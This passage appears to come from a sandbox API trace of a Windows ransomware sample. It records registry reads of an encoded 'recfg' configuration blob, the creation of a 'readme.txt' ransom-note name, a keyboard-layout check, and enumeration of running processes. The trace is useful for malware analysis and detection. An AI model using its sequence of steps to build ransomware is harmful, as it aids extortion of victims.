(hKey=0x124) returned 0x0 [0056.503] CryptBinaryToStringW (in: pbBinary=0x2034c08, cbBinary=0x352, dwFlags=0x1, pszString=0x0, pcchString=0x18fd48 | out: pszString=0x0, pcchString=0x18fd48) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92a) returned 0x1fb0590 [0056.506] CryptBinaryToStringW (in: pbBinary=0x2034c08, cbBinary=0x352, dwFlags=0x1, pszString=0x1fb0590, pcchString=0x18fd48 | out: pszString="OvtGyi2jomQSjH7KjrnHNlFASqvKgyKBzL+TIz1cSZsO12ZeYLbWhMYC38pvmZR1\r\nJqkxwwpEir4mByhs3HHg6yahb0JJjqy6cUonzhg8zlSeraygYrcnNkSdMINaErlz\r\nxm6seWVuKYkajEMm9s4GQDt46mM52cRtAco/SAI19Z123ldt6ncscBu6AGQ/cgx7\r\nxOVjz7AS1TSRJu0BHoZ54zPSYdDtQdagkTzsPiDxnAg3fdp3KwaR+hlQDrmowMIH\r\nQtciqaNVEOegmT69N1D3Jdr8iPh+Z7PrTxvfGo45TwwvJ69JMFDFT6xZRkPX0GL5\r\nuqaf6ngKQmokMvbPXtGQDNfII8i42KhB0KlqSWtrqrxa3fdZWNkL9zBOkf4BOxZA\r\nbksd8xv2tKYfIoKtEskR14oXXH6J5/oth8mYauVVL6SQCHKs1RbwiT3MZbCl/Rud\r\nqvVTqsOE2f7R9W5Y+64HWeQmdKyXf/rhXMCMJh9yI1gwF0oQPTSvD2+Q6+EeeSLK\r\n2lycRldmBS/7naf4VXeyHviVQBmCCYUnhV+ZqGqFzX8LSHyPo+mBDcJs4tn6wY6M\r\n0fDGcS9hXq1rtGM5dzSzsEFiMVo1uS70Wfx9WRiPFgA5t2aHLfqKmuNUwlP0YLL/\r\np9MRE9jbLLPy4hgy1r4LbHiaJRZ1YZsr3qCq+3HBUIBVTaaJOuKEs0AP503Czk3T\r\nrszd4aOXBT0Q/auByLM4bMXBD1jo9bWh1IsEqRFzxr7k7Xu92XxFiB3jXwOKxmEG\r\n/Yva+j2VjPJ+oYalmLoqfQ0whPr8SL8Ql3880oJWQ9A5Ce26TxRgCIezxEDkX+Zy\r\n6UVOZ2K9LfOvS2pSWChZQagyZz1d4uf/8wN46bhCZ2bfqR3aAaebU7QJWI/5yKzP\r\nzj5Rm6zr1imMgdXAlNgEu4Ch2b7PDWw4BUuWUcD/rA/AgTCeLR/oXn6jbIkK+4st\r\nIkKG4x86DRV6HqzHIaYRL5yGzo4XJbYPXh8MYY+/mqu4aCleMEGVxPnXU0QbihFo\r\nOi9cEVmseUQicerSXn3toERynaVGgzPyMILyNdole1zMxSVPpC6D1lOrfom9oXlj\r\nRYmCVy3Nmb4Sbcqx9jqtbzfeHp7sH5gIOHxg4cF+VW1hVw==\r\n", pcchString=0x18fd48) returned 1 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c08) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x546) returned 0x2054c20 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20559d0) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe64) returned 0x20403e8 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2054c20) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe6a) returned 0x2041258 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20403e8) returned 1 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0590) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x203ff00 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f848) returned 1 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x203f848 [0056.506] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xc) returned 0x2c1e9b8 [0056.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="06ak3t5y-readme.txt", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x14) returned 0x20aea48 [0056.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="06ak3t5y-readme.txt", cchWideChar=-1, lpMultiByteStr=0x20aea48, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="06ak3t5y-readme.txt", lpUsedDefaultChar=0x0) returned 20 [0056.506] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x28) returned 0x203ff30 [0056.506] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203f848) returned 1 [0056.506] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fb3c | out: phkResult=0x18fb3c*=0x0) returned 0x2 [0056.506] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\recfg", ulOptions=0x0, samDesired=0x1, phkResult=0x18fb64 | out: phkResult=0x18fb64*=0x124) returned 0x0 [0056.507] RegQueryValueExW (in: hKey=0x124, lpValueName="stat", lpReserved=0x0, lpType=0x18fce4, lpData=0x0, lpcbData=0x18fd90*=0x20aeeaa | out: lpType=0x18fce4*=0x3, lpData=0x0, lpcbData=0x18fd90*=0x352) returned 0x0 [0056.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x352) returned 0x2034c08 [0056.507] RegQueryValueExW (in: hKey=0x124, lpValueName="stat", lpReserved=0x0, lpType=0x18fce4, lpData=0x2034c08, lpcbData=0x18fd90*=0x352 | out: lpType=0x18fce4*=0x3, lpData=0x2034c08*, lpcbData=0x18fd90*=0x352) returned 0x0 [0056.507] RegCloseKey (hKey=0x124) returned 0x0 [0056.507] CryptBinaryToStringW (in: pbBinary=0x2034c08, cbBinary=0x352, dwFlags=0x1, pszString=0x0, pcchString=0x18fcec | out: pszString=0x0, pcchString=0x18fcec) returned 1 [0056.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x92a) returned 0x1fb0590 [0056.507] CryptBinaryToStringW (in: pbBinary=0x2034c08, cbBinary=0x352, dwFlags=0x1, pszString=0x1fb0590, pcchString=0x18fcec | out: pszString="OvtGyi2jomQSjH7KjrnHNlFASqvKgyKBzL+TIz1cSZsO12ZeYLbWhMYC38pvmZR1\r\nJqkxwwpEir4mByhs3HHg6yahb0JJjqy6cUonzhg8zlSeraygYrcnNkSdMINaErlz\r\nxm6seWVuKYkajEMm9s4GQDt46mM52cRtAco/SAI19Z123ldt6ncscBu6AGQ/cgx7\r\nxOVjz7AS1TSRJu0BHoZ54zPSYdDtQdagkTzsPiDxnAg3fdp3KwaR+hlQDrmowMIH\r\nQtciqaNVEOegmT69N1D3Jdr8iPh+Z7PrTxvfGo45TwwvJ69JMFDFT6xZRkPX0GL5\r\nuqaf6ngKQmokMvbPXtGQDNfII8i42KhB0KlqSWtrqrxa3fdZWNkL9zBOkf4BOxZA\r\nbksd8xv2tKYfIoKtEskR14oXXH6J5/oth8mYauVVL6SQCHKs1RbwiT3MZbCl/Rud\r\nqvVTqsOE2f7R9W5Y+64HWeQmdKyXf/rhXMCMJh9yI1gwF0oQPTSvD2+Q6+EeeSLK\r\n2lycRldmBS/7naf4VXeyHviVQBmCCYUnhV+ZqGqFzX8LSHyPo+mBDcJs4tn6wY6M\r\n0fDGcS9hXq1rtGM5dzSzsEFiMVo1uS70Wfx9WRiPFgA5t2aHLfqKmuNUwlP0YLL/\r\np9MRE9jbLLPy4hgy1r4LbHiaJRZ1YZsr3qCq+3HBUIBVTaaJOuKEs0AP503Czk3T\r\nrszd4aOXBT0Q/auByLM4bMXBD1jo9bWh1IsEqRFzxr7k7Xu92XxFiB3jXwOKxmEG\r\n/Yva+j2VjPJ+oYalmLoqfQ0whPr8SL8Ql3880oJWQ9A5Ce26TxRgCIezxEDkX+Zy\r\n6UVOZ2K9LfOvS2pSWChZQagyZz1d4uf/8wN46bhCZ2bfqR3aAaebU7QJWI/5yKzP\r\nzj5Rm6zr1imMgdXAlNgEu4Ch2b7PDWw4BUuWUcD/rA/AgTCeLR/oXn6jbIkK+4st\r\nIkKG4x86DRV6HqzHIaYRL5yGzo4XJbYPXh8MYY+/mqu4aCleMEGVxPnXU0QbihFo\r\nOi9cEVmseUQicerSXn3toERynaVGgzPyMILyNdole1zMxSVPpC6D1lOrfom9oXlj\r\nRYmCVy3Nmb4Sbcqx9jqtbzfeHp7sH5gIOHxg4cF+VW1hVw==\r\n", pcchString=0x18fcec) returned 1 [0056.507] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034c08) returned 1 [0056.507] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x1fb0590) returned 1 [0056.507] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0056.507] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4) returned 0x2040000 [0056.507] GetKeyboardLayoutList (in: nBuff=1, lpList=0x2040000 | out: lpList=0x2040000) returned 1 [0056.507] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0056.507] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0056.517] Process32FirstW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.517] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.518] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.518] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.519] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.520] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.520] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.521] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.522] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.522] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.523] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.523] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.524] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.525] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.525] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.526] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.526] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.527] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.527] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.528] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.529] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.529] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.530] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0056.530] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.531] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x330, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0056.532] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.533] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.533] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0056.534] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0056.535] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0056.535] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="describe second.exe")) returned 1 [0056.536] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="commercial.exe")) returned 1 [0056.537] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="lastsomething.exe")) returned 1 [0056.537] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="have character language.exe")) returned 1 [0056.538] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="upbeautiful.exe")) returned 1 [0056.538] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="communitysouthern.exe")) returned 1 [0056.539] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="or_deal_husband.exe")) returned 1 [0056.540] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="accept.exe")) returned 1 [0056.541] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="weapon_office.exe")) returned 1 [0056.542] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="director.exe")) returned 1 [0056.543] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer-her-culture.exe")) returned 1 [0056.543] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="share.exe")) returned 1 [0056.544] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="environmental_human_time.exe")) returned 1 [0056.545] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohlocal.exe")) returned 1 [0056.546] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="he_small_firm.exe")) returned 1 [0056.546] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="participant_brother_study.exe")) returned 1 [0056.547] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="several.exe")) returned 1 [0056.548] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="cost.exe")) returned 1 [0056.548] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock-rest.exe")) returned 1 [0056.549] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0056.550] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0056.551] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0056.551] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0056.552] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0056.553] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0056.554] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: lppe=0x18fca4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x464, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0056.554] Process32NextW (in: hSnapshot=0x124, lppe=0x18fca4 | out: 